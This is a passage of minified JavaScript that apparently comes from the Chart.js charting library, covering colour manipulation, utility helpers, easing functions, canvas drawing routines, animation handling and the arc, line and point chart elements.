e=[],t=0;t<3;t++)e[t]=255-this.values.rgb[t];return this.setValues("rgb",e),this},lighten:function(e){var t=this.values.hsl;return t[2]+=t[2]*e,this.setValues("hsl",t),this},darken:function(e){var t=this.values.hsl;return t[2]-=t[2]*e,this.setValues("hsl",t),this},saturate:function(e){var t=this.values.hsl;return t[1]+=t[1]*e,this.setValues("hsl",t),this},desaturate:function(e){var t=this.values.hsl;return t[1]-=t[1]*e,this.setValues("hsl",t),this},whiten:function(e){var t=this.values.hwb;return t[1]+=t[1]*e,this.setValues("hwb",t),this},blacken:function(e){var t=this.values.hwb;return t[2]+=t[2]*e,this.setValues("hwb",t),this},greyscale:function(){var e=this.values.rgb,t=.3*e[0]+.59*e[1]+.11*e[2];return this.setValues("rgb",[t,t,t]),this},clearer:function(e){var t=this.values.alpha;return this.setValues("alpha",t-t*e),this},opaquer:function(e){var t=this.values.alpha;return this.setValues("alpha",t+t*e),this},rotate:function(e){var t=this.values.hsl,n=(t[0]+e)%360;return t[0]=n<0?360+n:n,this.setValues("hsl",t),this},mix:function(e,t){var n=e,a=void 0===t?.5:t,r=2*a-1,i=this.alpha()-n.alpha(),s=((r*i==-1?r:(r+i)/(1+r*i))+1)/2,o=1-s;return this.rgb(s*this.red()+o*n.red(),s*this.green()+o*n.green(),s*this.blue()+o*n.blue()).alpha(this.alpha()*a+n.alpha()*(1-a))},toJSON:function(){return this.rgb()},clone:function(){var e,t,n=new y,a=this.values,r=n.values;for(var i in a)a.hasOwnProperty(i)&&("[object Array]"===(t={}.toString.call(e=a[i]))?r[i]=e.slice(0):"[object Number]"===t?r[i]=e:console.error("unexpected color value:",e));return n}},y.prototype.spaces={rgb:["red","green","blue"],hsl:["hue","saturation","lightness"],hsv:["hue","saturation","value"],hwb:["hue","whiteness","blackness"],cmyk:["cyan","magenta","yellow","black"]},y.prototype.maxes={rgb:[255,255,255],hsl:[360,100,100],hsv:[360,100,100],hwb:[360,100,100],cmyk:[100,100,100,100]},y.prototype.getValues=function(e){for(var t=this.values,n={},a=0;a<e.length;a++)n[e.charAt(a)]=t[e][a];return 1!==t.alpha&&(n.a=t.alpha),n},y.prototype.setValues=function(e,t){var n,a,r=this.values,i=this.spaces,o=this.maxes,l=1;if(this.valid=!0,"alpha"===e)l=t;else if(t.length)r[e]=t.slice(0,e.length),l=t[e.length];else if(void 0!==t[e.charAt(0)]){for(n=0;n<e.length;n++)r[e][n]=t[e.charAt(n)];l=t.a}else if(void 0!==t[i[e][0]]){var d=i[e];for(n=0;n<e.length;n++)r[e][n]=t[d[n]];l=t.alpha}if(r.alpha=Math.max(0,Math.min(1,void 0===l?r.alpha:l)),"alpha"===e)return!1;for(n=0;n<e.length;n++)a=Math.max(0,Math.min(o[e][n],r[e][n])),r[e][n]=Math.round(a);for(var u in i)u!==e&&(r[u]=s[e][u](r[e]));return!0},y.prototype.setSpace=function(e,t){var n=t[0];return void 0===n?this.getValues(e):("number"==typeof n&&(n=Array.prototype.slice.call(t)),this.setValues(e,n),this)},y.prototype.setChannel=function(e,t,n){var a=this.values[e];return void 0===n?a[t]:(n===a[t]||(a[t]=n,this.setValues(e,a)),this)},"undefined"!=typeof window&&(window.Color=y);var M=y;function v(e){return-1===["__proto__","prototype","constructor"].indexOf(e)}var L,k={noop:function(){},uid:(L=0,function(){return L++}),isNullOrUndef:function(e){return null==e},isArray:function(e){if(Array.isArray&&Array.isArray(e))return!0;var t=Object.prototype.toString.call(e);return"[object"===t.substr(0,7)&&"Array]"===t.substr(-6)},isObject:function(e){return null!==e&&"[object Object]"===Object.prototype.toString.call(e)},isFinite:function(e){return("number"==typeof e||e instanceof Number)&&isFinite(e)},valueOrDefault:function(e,t){return void 0===e?t:e},valueAtIndexOrDefault:function(e,t,n){return k.valueOrDefault(k.isArray(e)?e[t]:e,n)},callback:function(e,t,n){if(e&&"function"==typeof e.call)return e.apply(n,t)},each:function(e,t,n,a){var r,i,s;if(k.isArray(e))if(i=e.length,a)for(r=i-1;r>=0;r--)t.call(n,e[r],r);else for(r=0;r<i;r++)t.call(n,e[r],r);else if(k.isObject(e))for(i=(s=Object.keys(e)).length,r=0;r<i;r++)t.call(n,e[s[r]],s[r])},arrayEquals:function(e,t){var n,a,r,i;if(!e||!t||e.length!==t.length)return!1;for(n=0,a=e.length;n<a;++n)if(i=t[n],(r=e[n])instanceof Array&&i instanceof Array){if(!k.arrayEquals(r,i))return!1}else if(r!==i)return!1;return!0},clone:function(e){if(k.isArray(e))return e.map(k.clone);if(k.isObject(e)){for(var t=Object.create(e),n=Object.keys(e),a=n.length,r=0;r<a;++r)t[n[r]]=k.clone(e[n[r]]);return t}return e},_merger:function(e,t,n,a){if(v(e)){var r=t[e],i=n[e];k.isObject(r)&&k.isObject(i)?k.merge(r,i,a):t[e]=k.clone(i)}},_mergerIf:function(e,t,n){if(v(e)){var a=t[e],r=n[e];k.isObject(a)&&k.isObject(r)?k.mergeIf(a,r):t.hasOwnProperty(e)||(t[e]=k.clone(r))}},merge:function(e,t,n){var a,r,i,s,o,l=k.isArray(t)?t:[t],d=l.length;if(!k.isObject(e))return e;for(a=(n=n||{}).merger||k._merger,r=0;r<d;++r)if(k.isObject(t=l[r]))for(o=0,s=(i=Object.keys(t)).length;o<s;++o)a(i[o],e,t,n);return e},mergeIf:function(e,t){return k.merge(e,t,{merger:k._mergerIf})},extend:Object.assign||function(e){return k.merge(e,[].slice.call(arguments,1),{merger:function(e,t,n){t[e]=n[e]}})},inherits:function(e){var t=this,n=e&&e.hasOwnProperty("constructor")?e.constructor:function(){return t.apply(this,arguments)},a=function(){this.constructor=n};return a.prototype=t.prototype,n.prototype=new a,n.extend=k.inherits,e&&k.extend(n.prototype,e),n.__super__=t.prototype,n},_deprecated:function(e,t,n,a){void 0!==t&&console.warn(e+': "'+n+'" is deprecated. Please use "'+a+'" instead')}},w=k;k.callCallback=k.callback,k.indexOf=function(e,t,n){return Array.prototype.indexOf.call(e,t,n)},k.getValueOrDefault=k.valueOrDefault,k.getValueAtIndexOrDefault=k.valueAtIndexOrDefault;var x={linear:function(e){return e},easeInQuad:function(e){return e*e},easeOutQuad:function(e){return-e*(e-2)},easeInOutQuad:function(e){return(e/=.5)<1?.5*e*e:-.5*(--e*(e-2)-1)},easeInCubic:function(e){return e*e*e},easeOutCubic:function(e){return(e-=1)*e*e+1},easeInOutCubic:function(e){return(e/=.5)<1?.5*e*e*e:.5*((e-=2)*e*e+2)},easeInQuart:function(e){return e*e*e*e},easeOutQuart:function(e){return-((e-=1)*e*e*e-1)},easeInOutQuart:function(e){return(e/=.5)<1?.5*e*e*e*e:-.5*((e-=2)*e*e*e-2)},easeInQuint:function(e){return e*e*e*e*e},easeOutQuint:function(e){return(e-=1)*e*e*e*e+1},easeInOutQuint:function(e){return(e/=.5)<1?.5*e*e*e*e*e:.5*((e-=2)*e*e*e*e+2)},easeInSine:function(e){return 1-Math.cos(e*(Math.PI/2))},easeOutSine:function(e){return Math.sin(e*(Math.PI/2))},easeInOutSine:function(e){return-.5*(Math.cos(Math.PI*e)-1)},easeInExpo:function(e){return 0===e?0:Math.pow(2,10*(e-1))},easeOutExpo:function(e){return 1===e?1:1-Math.pow(2,-10*e)},easeInOutExpo:function(e){return 0===e?0:1===e?1:(e/=.5)<1?.5*Math.pow(2,10*(e-1)):.5*(2-Math.pow(2,-10*--e))},easeInCirc:function(e){return e>=1?e:-(Math.sqrt(1-e*e)-1)},easeOutCirc:function(e){return Math.sqrt(1-(e-=1)*e)},easeInOutCirc:function(e){return(e/=.5)<1?-.5*(Math.sqrt(1-e*e)-1):.5*(Math.sqrt(1-(e-=2)*e)+1)},easeInElastic:function(e){var t=1.70158,n=0,a=1;return 0===e?0:1===e?1:(n||(n=.3),a<1?(a=1,t=n/4):t=n/(2*Math.PI)*Math.asin(1/a),-a*Math.pow(2,10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/n))},easeOutElastic:function(e){var t=1.70158,n=0,a=1;return 0===e?0:1===e?1:(n||(n=.3),a<1?(a=1,t=n/4):t=n/(2*Math.PI)*Math.asin(1/a),a*Math.pow(2,-10*e)*Math.sin((e-t)*(2*Math.PI)/n)+1)},easeInOutElastic:function(e){var t=1.70158,n=0,a=1;return 0===e?0:2==(e/=.5)?1:(n||(n=.45),a<1?(a=1,t=n/4):t=n/(2*Math.PI)*Math.asin(1/a),e<1?a*Math.pow(2,10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/n)*-.5:a*Math.pow(2,-10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/n)*.5+1)},easeInBack:function(e){var t=1.70158;return e*e*((t+1)*e-t)},easeOutBack:function(e){var t=1.70158;return(e-=1)*e*((t+1)*e+t)+1},easeInOutBack:function(e){var t=1.70158;return(e/=.5)<1?e*e*((1+(t*=1.525))*e-t)*.5:.5*((e-=2)*e*((1+(t*=1.525))*e+t)+2)},easeInBounce:function(e){return 1-x.easeOutBounce(1-e)},easeOutBounce:function(e){return e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375},easeInOutBounce:function(e){return e<.5?.5*x.easeInBounce(2*e):.5*x.easeOutBounce(2*e-1)+.5}},D={effects:x};w.easingEffects=x;var Y=Math.PI,T=Y/180,S=2*Y,C=Y/2,j=Y/4,O=2*Y/3,H={clear:function(e){e.ctx.clearRect(0,0,e.width,e.height)},roundedRect:function(e,t,n,a,r,i){if(i){var s=Math.min(i,r/2,a/2),o=t+s,l=n+s,d=t+a-s,u=n+r-s;e.moveTo(t,l),o<d&&l<u?(e.arc(o,l,s,-Y,-C),e.arc(d,l,s,-C,0),e.arc(d,u,s,0,C),e.arc(o,u,s,C,Y)):o<d?(e.moveTo(o,n),e.arc(d,l,s,-C,C),e.arc(o,l,s,C,Y+C)):l<u?(e.arc(o,l,s,-Y,0),e.arc(o,u,s,0,Y)):e.arc(o,l,s,-Y,Y),e.closePath(),e.moveTo(t,n)}else e.rect(t,n,a,r)},drawPoint:function(e,t,n,a,r,i){var s,o,l,d,u,c=(i||0)*T;if(t&&"object"==typeof t&&("[object HTMLImageElement]"===(s=t.toString())||"[object HTMLCanvasElement]"===s))return e.save(),e.translate(a,r),e.rotate(c),e.drawImage(t,-t.width/2,-t.height/2,t.width,t.height),void e.restore();if(!(isNaN(n)||n<=0)){switch(e.beginPath(),t){default:e.arc(a,r,n,0,S),e.closePath();break;case"triangle":e.moveTo(a+Math.sin(c)*n,r-Math.cos(c)*n),c+=O,e.lineTo(a+Math.sin(c)*n,r-Math.cos(c)*n),c+=O,e.lineTo(a+Math.sin(c)*n,r-Math.cos(c)*n),e.closePath();break;case"rectRounded":d=n-(u=.516*n),o=Math.cos(c+j)*d,l=Math.sin(c+j)*d,e.arc(a-o,r-l,u,c-Y,c-C),e.arc(a+l,r-o,u,c-C,c),e.arc(a+o,r+l,u,c,c+C),e.arc(a-l,r+o,u,c+C,c+Y),e.closePath();break;case"rect":if(!i){d=Math.SQRT1_2*n,e.rect(a-d,r-d,2*d,2*d);break}c+=j;case"rectRot":o=Math.cos(c)*n,l=Math.sin(c)*n,e.moveTo(a-o,r-l),e.lineTo(a+l,r-o),e.lineTo(a+o,r+l),e.lineTo(a-l,r+o),e.closePath();break;case"crossRot":c+=j;case"cross":o=Math.cos(c)*n,l=Math.sin(c)*n,e.moveTo(a-o,r-l),e.lineTo(a+o,r+l),e.moveTo(a+l,r-o),e.lineTo(a-l,r+o);break;case"star":o=Math.cos(c)*n,l=Math.sin(c)*n,e.moveTo(a-o,r-l),e.lineTo(a+o,r+l),e.moveTo(a+l,r-o),e.lineTo(a-l,r+o),c+=j,o=Math.cos(c)*n,l=Math.sin(c)*n,e.moveTo(a-o,r-l),e.lineTo(a+o,r+l),e.moveTo(a+l,r-o),e.lineTo(a-l,r+o);break;case"line":o=Math.cos(c)*n,l=Math.sin(c)*n,e.moveTo(a-o,r-l),e.lineTo(a+o,r+l);break;case"dash":e.moveTo(a,r),e.lineTo(a+Math.cos(c)*n,r+Math.sin(c)*n)}e.fill(),e.stroke()}},_isPointInArea:function(e,t){return e.x>t.left-1e-6&&e.x<t.right+1e-6&&e.y>t.top-1e-6&&e.y<t.bottom+1e-6},clipArea:function(e,t){e.save(),e.beginPath(),e.rect(t.left,t.top,t.right-t.left,t.bottom-t.top),e.clip()},unclipArea:function(e){e.restore()},lineTo:function(e,t,n,a){var r=n.steppedLine;if(r){if("middle"===r){var i=(t.x+n.x)/2;e.lineTo(i,a?n.y:t.y),e.lineTo(i,a?t.y:n.y)}else"after"===r&&!a||"after"!==r&&a?e.lineTo(t.x,n.y):e.lineTo(n.x,t.y);e.lineTo(n.x,n.y)}else n.tension?e.bezierCurveTo(a?t.controlPointPreviousX:t.controlPointNextX,a?t.controlPointPreviousY:t.controlPointNextY,a?n.controlPointNextX:n.controlPointPreviousX,a?n.controlPointNextY:n.controlPointPreviousY,n.x,n.y):e.lineTo(n.x,n.y)}},A=H;w.clear=H.clear,w.drawRoundedRectangle=function(e){e.beginPath(),H.roundedRect.apply(H,arguments)};var P={_set:function(e,t){return w.merge(this[e]||(this[e]={}),t)}};P._set("global",{defaultColor:"rgba(0,0,0,0.1)",defaultFontColor:"#666",defaultFontFamily:"'Helvetica Neue', 'Helvetica', 'Arial', sans-serif",defaultFontSize:12,defaultFontStyle:"normal",defaultLineHeight:1.2,showLines:!0});var F=P,I=w.valueOrDefault,E={toLineHeight:function(e,t){var n=(""+e).match(/^(normal|(\d+(?:\.\d+)?)(px|em|%)?)$/);if(!n||"normal"===n[1])return 1.2*t;switch(e=+n[2],n[3]){case"px":return e;case"%":e/=100}return t*e},toPadding:function(e){var t,n,a,r;return w.isObject(e)?(t=+e.top||0,n=+e.right||0,a=+e.bottom||0,r=+e.left||0):t=n=a=r=+e||0,{top:t,right:n,bottom:a,left:r,height:t+a,width:r+n}},_parseFont:function(e){var t=F.global,n=I(e.fontSize,t.defaultFontSize),a={family:I(e.fontFamily,t.defaultFontFamily),lineHeight:w.options.toLineHeight(I(e.lineHeight,t.defaultLineHeight),n),size:n,style:I(e.fontStyle,t.defaultFontStyle),weight:null,string:""};return a.string=function(e){return!e||w.isNullOrUndef(e.size)||w.isNullOrUndef(e.family)?null:(e.style?e.style+" ":"")+(e.weight?e.weight+" ":"")+e.size+"px "+e.family}(a),a},resolve:function(e,t,n,a){var r,i,s,o=!0;for(r=0,i=e.length;r<i;++r)if(void 0!==(s=e[r])&&(void 0!==t&&"function"==typeof s&&(s=s(t),o=!1),void 0!==n&&w.isArray(s)&&(s=s[n],o=!1),void 0!==s))return a&&!o&&(a.cacheable=!1),s}},R={_factorize:function(e){var t,n=[],a=Math.sqrt(e);for(t=1;t<a;t++)e%t==0&&(n.push(t),n.push(e/t));return a===(0|a)&&n.push(a),n.sort((function(e,t){return e-t})).pop(),n},log10:Math.log10||function(e){var t=Math.log(e)*Math.LOG10E,n=Math.round(t);return e===Math.pow(10,n)?n:t}},N=R;w.log10=R.log10;var W=w,z=A,V=E,q=N;W.easing=D,W.canvas=z,W.options=V,W.math=q,W.rtl={getRtlAdapter:function(e,t,n){return e?function(e,t){return{x:function(n){return e+e+t-n},setWidth:function(e){t=e},textAlign:function(e){return"center"===e?e:"right"===e?"left":"right"},xPlus:function(e,t){return e-t},leftForLtr:function(e,t){return e-t}}}(t,n):{x:function(e){return e},setWidth:function(e){},textAlign:function(e){return e},xPlus:function(e,t){return e+t},leftForLtr:function(e,t){return e}}},overrideTextDirection:function(e,t){var n,a;"ltr"!==t&&"rtl"!==t||(a=[(n=e.canvas.style).getPropertyValue("direction"),n.getPropertyPriority("direction")],n.setProperty("direction",t,"important"),e.prevTextDirection=a)},restoreTextDirection:function(e){var t=e.prevTextDirection;void 0!==t&&(delete e.prevTextDirection,e.canvas.style.setProperty("direction",t[0],t[1]))}};var B=function(e){W.extend(this,e),this.initialize.apply(this,arguments)};W.extend(B.prototype,{_type:void 0,initialize:function(){this.hidden=!1},pivot:function(){var e=this;return e._view||(e._view=W.extend({},e._model)),e._start={},e},transition:function(e){var t=this,n=t._model,a=t._start,r=t._view;return n&&1!==e?(r||(r=t._view={}),a||(a=t._start={}),function(e,t,n,a){var r,i,s,o,l,d,u,c,h,m=Object.keys(n);for(r=0,i=m.length;r<i;++r)if(d=n[s=m[r]],t.hasOwnProperty(s)||(t[s]=d),(o=t[s])!==d&&"_"!==s[0]){if(e.hasOwnProperty(s)||(e[s]=o),(u=typeof d)==typeof(l=e[s]))if("string"===u){if((c=M(l)).valid&&(h=M(d)).valid){t[s]=h.mix(c,a).rgbString();continue}}else if(W.isFinite(l)&&W.isFinite(d)){t[s]=l+(d-l)*a;continue}t[s]=d}}(a,r,n,e),t):(t._view=W.extend({},n),t._start=null,t)},tooltipPosition:function(){return{x:this._model.x,y:this._model.y}},hasValue:function(){return W.isNumber(this._model.x)&&W.isNumber(this._model.y)}}),B.extend=W.inherits;var G=B,J=G.extend({chart:null,currentStep:0,numSteps:60,easing:"",render:null,onAnimationProgress:null,onAnimationComplete:null}),U=J;Object.defineProperty(J.prototype,"animationObject",{get:function(){return this}}),Object.defineProperty(J.prototype,"chartInstance",{get:function(){return this.chart},set:function(e){this.chart=e}}),F._set("global",{animation:{duration:1e3,easing:"easeOutQuart",onProgress:W.noop,onComplete:W.noop}});var $={animations:[],request:null,addAnimation:function(e,t,n,a){var r,i,s=this.animations;for(t.chart=e,t.startTime=Date.now(),t.duration=n,a||(e.animating=!0),r=0,i=s.length;r<i;++r)if(s[r].chart===e)return void(s[r]=t);s.push(t),1===s.length&&this.requestAnimationFrame()},cancelAnimation:function(e){var t=W.findIndex(this.animations,(function(t){return t.chart===e}));-1!==t&&(this.animations.splice(t,1),e.animating=!1)},requestAnimationFrame:function(){var e=this;null===e.request&&(e.request=W.requestAnimFrame.call(window,(function(){e.request=null,e.startDigest()})))},startDigest:function(){this.advance(),this.animations.length>0&&this.requestAnimationFrame()},advance:function(){for(var e,t,n,a,r=this.animations,i=0;i<r.length;)t=(e=r[i]).chart,n=e.numSteps,a=Math.floor((Date.now()-e.startTime)/e.duration*n)+1,e.currentStep=Math.min(a,n),W.callback(e.render,[t,e],t),W.callback(e.onAnimationProgress,[e],t),e.currentStep>=n?(W.callback(e.onAnimationComplete,[e],t),t.animating=!1,r.splice(i,1)):++i}},K=W.options.resolve,Z=["push","pop","shift","splice","unshift"];function X(e,t){var n=e._chartjs;if(n){var a=n.listeners,r=a.indexOf(t);-1!==r&&a.splice(r,1),a.length>0||(Z.forEach((function(t){delete e[t]})),delete e._chartjs)}}var Q=function(e,t){this.initialize(e,t)};W.extend(Q.prototype,{datasetElementType:null,dataElementType:null,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth"],_dataElementOptions:["backgroundColor","borderColor","borderWidth","pointStyle"],initialize:function(e,t){var n=this;n.chart=e,n.index=t,n.linkScales(),n.addElements(),n._type=n.getMeta().type},updateIndex:function(e){this.index=e},linkScales:function(){var e=this.getMeta(),t=this.chart,n=t.scales,a=this.getDataset(),r=t.options.scales;null!==e.xAxisID&&e.xAxisID in n&&!a.xAxisID||(e.xAxisID=a.xAxisID||r.xAxes[0].id),null!==e.yAxisID&&e.yAxisID in n&&!a.yAxisID||(e.yAxisID=a.yAxisID||r.yAxes[0].id)},getDataset:function(){return this.chart.data.datasets[this.index]},getMeta:function(){return this.chart.getDatasetMeta(this.index)},getScaleForId:function(e){return this.chart.scales[e]},_getValueScaleId:function(){return this.getMeta().yAxisID},_getIndexScaleId:function(){return this.getMeta().xAxisID},_getValueScale:function(){return this.getScaleForId(this._getValueScaleId())},_getIndexScale:function(){return this.getScaleForId(this._getIndexScaleId())},reset:function(){this._update(!0)},destroy:function(){this._data&&X(this._data,this)},createMetaDataset:function(){var e=this.datasetElementType;return e&&new e({_chart:this.chart,_datasetIndex:this.index})},createMetaData:function(e){var t=this.dataElementType;return t&&new t({_chart:this.chart,_datasetIndex:this.index,_index:e})},addElements:function(){var e,t,n=this.getMeta(),a=this.getDataset().data||[],r=n.data;for(e=0,t=a.length;e<t;++e)r[e]=r[e]||this.createMetaData(e);n.dataset=n.dataset||this.createMetaDataset()},addElementAndReset:function(e){var t=this.createMetaData(e);this.getMeta().data.splice(e,0,t),this.updateElement(t,e,!0)},buildOrUpdateElements:function(){var e,t,n=this,a=n.getDataset(),r=a.data||(a.data=[]);n._data!==r&&(n._data&&X(n._data,n),r&&Object.isExtensible(r)&&(t=n,(e=r)._chartjs?e._chartjs.listeners.push(t):(Object.defineProperty(e,"_chartjs",{configurable:!0,enumerable:!1,value:{listeners:[t]}}),Z.forEach((function(t){var n="onData"+t.charAt(0).toUpperCase()+t.slice(1),a=e[t];Object.defineProperty(e,t,{configurable:!0,enumerable:!1,value:function(){var t=Array.prototype.slice.call(arguments),r=a.apply(this,t);return W.each(e._chartjs.listeners,(function(e){"function"==typeof e[n]&&e[n].apply(e,t)})),r}})})))),n._data=r),n.resyncElements()},_configure:function(){this._config=W.merge(Object.create(null),[this.chart.options.datasets[this._type],this.getDataset()],{merger:function(e,t,n){"_meta"!==e&&"data"!==e&&W._merger(e,t,n)}})},_update:function(e){this._configure(),this._cachedDataOpts=null,this.update(e)},update:W.noop,transition:function(e){for(var t=this.getMeta(),n=t.data||[],a=n.length,r=0;r<a;++r)n[r].transition(e);t.dataset&&t.dataset.transition(e)},draw:function(){var e=this.getMeta(),t=e.data||[],n=t.length,a=0;for(e.dataset&&e.dataset.draw();a<n;++a)t[a].draw()},getStyle:function(e){var t,n=this.getMeta(),a=n.dataset;return this._configure(),!1!==(t=a&&void 0===e?this._resolveDatasetElementOptions(a||{}):this._resolveDataElementOptions(n.data[e=e||0]||{},e)).fill&&null!==t.fill||(t.backgroundColor=t.borderColor),t},_resolveDatasetElementOptions:function(e,t){var n,a,r,i,s=this,o=s.chart,l=s._config,d=e.custom||{},u=o.options.elements[s.datasetElementType.prototype._type]||{},c=s._datasetElementOptions,h={},m={chart:o,dataset:s.getDataset(),datasetIndex:s.index,hover:t};for(n=0,a=c.length;n<a;++n)r=c[n],i=t?"hover"+r.charAt(0).toUpperCase()+r.slice(1):r,h[r]=K([d[i],l[i],u[i]],m);return h},_resolveDataElementOptions:function(e,t){var n=this,a=e&&e.custom,r=n._cachedDataOpts;if(r&&!a)return r;var i,s,o,l,d=n.chart,u=n._config,c=d.options.elements[n.dataElementType.prototype._type]||{},h=n._dataElementOptions,m={},_={chart:d,dataIndex:t,dataset:n.getDataset(),datasetIndex:n.index},f={cacheable:!a};if(a=a||{},W.isArray(h))for(s=0,o=h.length;s<o;++s)m[l=h[s]]=K([a[l],u[l],c[l]],_,t,f);else for(s=0,o=(i=Object.keys(h)).length;s<o;++s)m[l=i[s]]=K([a[l],u[h[l]],u[l],c[l]],_,t,f);return f.cacheable&&(n._cachedDataOpts=Object.freeze(m)),m},removeHoverStyle:function(e){W.merge(e._model,e.$previousStyle||{}),delete e.$previousStyle},setHoverStyle:function(e){var t=this.chart.data.datasets[e._datasetIndex],n=e._index,a=e.custom||{},r=e._model,i=W.getHoverColor;e.$previousStyle={backgroundColor:r.backgroundColor,borderColor:r.borderColor,borderWidth:r.borderWidth},r.backgroundColor=K([a.hoverBackgroundColor,t.hoverBackgroundColor,i(r.backgroundColor)],void 0,n),r.borderColor=K([a.hoverBorderColor,t.hoverBorderColor,i(r.borderColor)],void 0,n),r.borderWidth=K([a.hoverBorderWidth,t.hoverBorderWidth,r.borderWidth],void 0,n)},_removeDatasetHoverStyle:function(){var e=this.getMeta().dataset;e&&this.removeHoverStyle(e)},_setDatasetHoverStyle:function(){var e,t,n,a,r,i,s=this.getMeta().dataset,o={};if(s){for(i=s._model,r=this._resolveDatasetElementOptions(s,!0),e=0,t=(a=Object.keys(r)).length;e<t;++e)o[n=a[e]]=i[n],i[n]=r[n];s.$previousStyle=o}},resyncElements:function(){var e=this.getMeta(),t=this.getDataset().data,n=e.data.length,a=t.length;a<n?e.data.splice(a,n-a):a>n&&this.insertElements(n,a-n)},insertElements:function(e,t){for(var n=0;n<t;++n)this.addElementAndReset(e+n)},onDataPush:function(){var e=arguments.length;this.insertElements(this.getDataset().data.length-e,e)},onDataPop:function(){this.getMeta().data.pop()},onDataShift:function(){this.getMeta().data.shift()},onDataSplice:function(e,t){this.getMeta().data.splice(e,t),this.insertElements(e,arguments.length-2)},onDataUnshift:function(){this.insertElements(0,arguments.length)}}),Q.extend=W.inherits;var ee=Q,te=2*Math.PI;function ne(e,t){var n=t.startAngle,a=t.endAngle,r=t.pixelMargin,i=r/t.outerRadius,s=t.x,o=t.y;e.beginPath(),e.arc(s,o,t.outerRadius,n-i,a+i),t.innerRadius>r?e.arc(s,o,t.innerRadius-r,a+(i=r/t.innerRadius),n-i,!0):e.arc(s,o,r,a+Math.PI/2,n-Math.PI/2),e.closePath(),e.clip()}F._set("global",{elements:{arc:{backgroundColor:F.global.defaultColor,borderColor:"#fff",borderWidth:2,borderAlign:"center"}}});var ae=G.extend({_type:"arc",inLabelRange:function(e){var t=this._view;return!!t&&Math.pow(e-t.x,2)<Math.pow(t.radius+t.hoverRadius,2)},inRange:function(e,t){var n=this._view;if(n){for(var a=W.getAngleFromPoint(n,{x:e,y:t}),r=a.angle,i=a.distance,s=n.startAngle,o=n.endAngle;o<s;)o+=te;for(;r>o;)r-=te;for(;r<s;)r+=te;return r>=s&&r<=o&&i>=n.innerRadius&&i<=n.outerRadius}return!1},getCenterPoint:function(){var e=this._view,t=(e.startAngle+e.endAngle)/2,n=(e.innerRadius+e.outerRadius)/2;return{x:e.x+Math.cos(t)*n,y:e.y+Math.sin(t)*n}},getArea:function(){var e=this._view;return Math.PI*((e.endAngle-e.startAngle)/(2*Math.PI))*(Math.pow(e.outerRadius,2)-Math.pow(e.innerRadius,2))},tooltipPosition:function(){var e=this._view,t=e.startAngle+(e.endAngle-e.startAngle)/2,n=(e.outerRadius-e.innerRadius)/2+e.innerRadius;return{x:e.x+Math.cos(t)*n,y:e.y+Math.sin(t)*n}},draw:function(){var e,t=this._chart.ctx,n=this._view,a="inner"===n.borderAlign?.33:0,r={x:n.x,y:n.y,innerRadius:n.innerRadius,outerRadius:Math.max(n.outerRadius-a,0),pixelMargin:a,startAngle:n.startAngle,endAngle:n.endAngle,fullCircles:Math.floor(n.circumference/te)};if(t.save(),t.fillStyle=n.backgroundColor,t.strokeStyle=n.borderColor,r.fullCircles){for(r.endAngle=r.startAngle+te,t.beginPath(),t.arc(r.x,r.y,r.outerRadius,r.startAngle,r.endAngle),t.arc(r.x,r.y,r.innerRadius,r.endAngle,r.startAngle,!0),t.closePath(),e=0;e<r.fullCircles;++e)t.fill();r.endAngle=r.startAngle+n.circumference%te}t.beginPath(),t.arc(r.x,r.y,r.outerRadius,r.startAngle,r.endAngle),t.arc(r.x,r.y,r.innerRadius,r.endAngle,r.startAngle,!0),t.closePath(),t.fill(),n.borderWidth&&function(e,t,n){var a="inner"===t.borderAlign;a?(e.lineWidth=2*t.borderWidth,e.lineJoin="round"):(e.lineWidth=t.borderWidth,e.lineJoin="bevel"),n.fullCircles&&function(e,t,n,a){var r,i=n.endAngle;for(a&&(n.endAngle=n.startAngle+te,ne(e,n),n.endAngle=i,n.endAngle===n.startAngle&&n.fullCircles&&(n.endAngle+=te,n.fullCircles--)),e.beginPath(),e.arc(n.x,n.y,n.innerRadius,n.startAngle+te,n.startAngle,!0),r=0;r<n.fullCircles;++r)e.stroke();for(e.beginPath(),e.arc(n.x,n.y,t.outerRadius,n.startAngle,n.startAngle+te),r=0;r<n.fullCircles;++r)e.stroke()}(e,t,n,a),a&&ne(e,n),e.beginPath(),e.arc(n.x,n.y,t.outerRadius,n.startAngle,n.endAngle),e.arc(n.x,n.y,n.innerRadius,n.endAngle,n.startAngle,!0),e.closePath(),e.stroke()}(t,n,r),t.restore()}}),re=W.valueOrDefault,ie=F.global.defaultColor;F._set("global",{elements:{line:{tension:.4,backgroundColor:ie,borderWidth:3,borderColor:ie,borderCapStyle:"butt",borderDash:[],borderDashOffset:0,borderJoinStyle:"miter",capBezierPoints:!0,fill:!0}}});var se=G.extend({_type:"line",draw:function(){var e,t,n,a=this,r=a._view,i=a._chart.ctx,s=r.spanGaps,o=a._children.slice(),l=F.global,d=l.elements.line,u=-1,c=a._loop;if(o.length){if(a._loop){for(e=0;e<o.length;++e)if(t=W.previousItem(o,e),!o[e]._view.skip&&t._view.skip){o=o.slice(e).concat(o.slice(0,e)),c=s;break}c&&o.push(o[0])}for(i.save(),i.lineCap=r.borderCapStyle||d.borderCapStyle,i.setLineDash&&i.setLineDash(r.borderDash||d.borderDash),i.lineDashOffset=re(r.borderDashOffset,d.borderDashOffset),i.lineJoin=r.borderJoinStyle||d.borderJoinStyle,i.lineWidth=re(r.borderWidth,d.borderWidth),i.strokeStyle=r.borderColor||l.defaultColor,i.beginPath(),(n=o[0]._view).skip||(i.moveTo(n.x,n.y),u=0),e=1;e<o.length;++e)n=o[e]._view,t=-1===u?W.previousItem(o,e):o[u],n.skip||(u!==e-1&&!s||-1===u?i.moveTo(n.x,n.y):W.canvas.lineTo(i,t._view,n),u=e);c&&i.closePath(),i.stroke(),i.restore()}}}),oe=W.valueOrDefault,le=F.global.defaultColor;function de(e){var t=this._view;return!!t&&Math.abs(e-t.x)<t.radius+t.hitRadius}F._set("global",{elements:{point:{radius:3,pointStyle:"circle",backgroundColor:le,borderColor:le,borderWidth:1,hitRadius:1,hoverRadius:4,hoverBorderWidth:1}}});var ue=G.extend({_type:"point",inRange:function(e,t){var 